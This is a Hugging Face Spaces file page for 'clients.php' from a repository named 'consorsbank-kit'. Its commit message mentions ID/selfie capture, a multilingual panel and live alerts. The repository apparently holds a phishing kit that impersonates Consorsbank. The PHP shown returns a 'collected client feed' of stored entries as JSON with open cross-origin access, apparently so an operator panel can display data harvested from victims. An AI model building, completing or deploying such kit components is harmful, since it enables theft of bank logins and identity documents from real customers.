Spaces:
Paused
Paused
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145 Download clients.php from red-kit/consorsbank-kit: direct link, hf CLI and curl.
- Browser
- Download file 1.02 kB
-
https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/clients.php
- Command line
-
hf download hf://spaces/red-kit/consorsbank-kit/clients.php
-
curl -L -o clients.php https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/clients.php
1.02 kB
| /** | |
| * clients.php — echoes the collected client feed (clients.json) as a JSON array. | |
| * | |
| * Empty array when the file is missing or unreadable. No secrets. | |
| */ | |
| declare(strict_types=1); | |
| require_once __DIR__ . '/lib.php'; | |
| header('Access-Control-Allow-Origin: *'); | |
| header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); | |
| header('Access-Control-Allow-Headers: Content-Type'); | |
| header('Content-Type: application/json; charset=utf-8'); | |
| header('Cache-Control: no-store'); | |
| if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') { | |
| http_response_code(204); | |
| exit; | |
| } | |
| $path = __DIR__ . '/clients.json'; | |
| $out = []; | |
| try { | |
| if (is_file($path)) { | |
| $raw = @file_get_contents($path); | |
| if (is_string($raw) && trim($raw) !== '') { | |
| $decoded = json_decode($raw, true); | |
| if (is_array($decoded)) { | |
| $out = $decoded; | |
| } | |
| } | |
| } | |
| } catch (Throwable $e) { | |
| $out = []; | |
| } | |
| echo json_encode($out, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); | |